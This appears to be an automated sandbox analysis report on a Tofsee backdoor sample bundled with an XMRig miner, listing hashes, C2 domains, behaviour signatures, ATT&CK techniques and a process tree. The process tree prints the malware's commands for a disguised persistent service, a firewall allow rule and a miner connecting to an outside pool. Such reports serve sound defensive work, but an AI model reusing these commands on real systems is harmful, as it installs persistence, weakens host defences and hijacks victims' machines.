Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    23-01-2022 05:36

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General

  • Target

    24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8.exe

  • Size

    249KB

  • MD5

    456487527bafc78d7164633c1cfc3d90

  • SHA1

    34f2e95fcae0f60736fe77609e987c7a6a858df0

  • SHA256

    24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8

  • SHA512

    1da0262881bc863af94d968dbf0ddba14786d7a27fe4568bc9e5fbbf65629999c0fda40397bb80801cba64983a905bbec3d999954176e857b4596d7e4aceee29

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8.exe
    "C:\Users\Admin\AppData\Local\Temp\24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cfteyfsu\
      2⤵
        PID:808
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gkdpyfvb.exe" C:\Windows\SysWOW64\cfteyfsu\
        2⤵
          PID:1100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cfteyfsu binPath= "C:\Windows\SysWOW64\cfteyfsu\gkdpyfvb.exe /d\"C:\Users\Admin\AppData\Local\Temp\24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2232
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description cfteyfsu "wifi internet conection"
            2⤵
              PID:464
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start cfteyfsu
              2⤵
                PID:3316
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1252
              • C:\Windows\SysWOW64\cfteyfsu\gkdpyfvb.exe
                C:\Windows\SysWOW64\cfteyfsu\gkdpyfvb.exe /d"C:\Users\Admin\AppData\Local\Temp\24f598bda9c42f79ad61fbe66a4d52c815a1b1c613f626bd34df07c4de8584b8.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3700
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1612
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1704

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\gkdpyfvb.exe
                MD5

                11594a5ce0b4da855941ca824506f0ab

                SHA1

                7ac82933cc83105ed689993dc78b79b5c6aabc4e

                SHA256

                74904c7b95e4713b5908827ee62ba7d63da13e56eea5bac54bc7026b08cc0c20

                SHA512

                eacd0216ebd4524650abb1f0d6b903ace648fd99b687331842de9838720cd5d873c93ded9fd052467862194e86fc3673b94a77c79faa83cf1df38daec5edf398

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              • C:\Windows\SysWOW64\cfteyfsu\gkdpyfvb.exe
                MD5

                11594a5ce0b4da855941ca824506f0ab

                SHA1

                7ac82933cc83105ed689993dc78b79b5c6aabc4e

                SHA256

                74904c7b95e4713b5908827ee62ba7d63da13e56eea5bac54bc7026b08cc0c20

                SHA512

                eacd0216ebd4524650abb1f0d6b903ace648fd99b687331842de9838720cd5d873c93ded9fd052467862194e86fc3673b94a77c79faa83cf1df38daec5edf398

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              • memory/1612-120-0x0000000003200000-0x0000000003215000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1704-125-0x0000000002C50000-0x0000000002D41000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1704-129-0x0000000002C50000-0x0000000002D41000-memory.dmp
                Filesize

                964KB

                Download
              • memory/3140-115-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

                Download
              • memory/3140-116-0x00000000001C0000-0x00000000001D3000-memory.dmp
                Filesize

                76KB

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              • memory/3140-117-0x0000000000400000-0x0000000000446000-memory.dmp
                Filesize

                280KB

                Download
              • memory/3700-121-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

                Download
              • memory/3700-124-0x0000000000400000-0x0000000000446000-memory.dmp
                Filesize

                280KB

                Download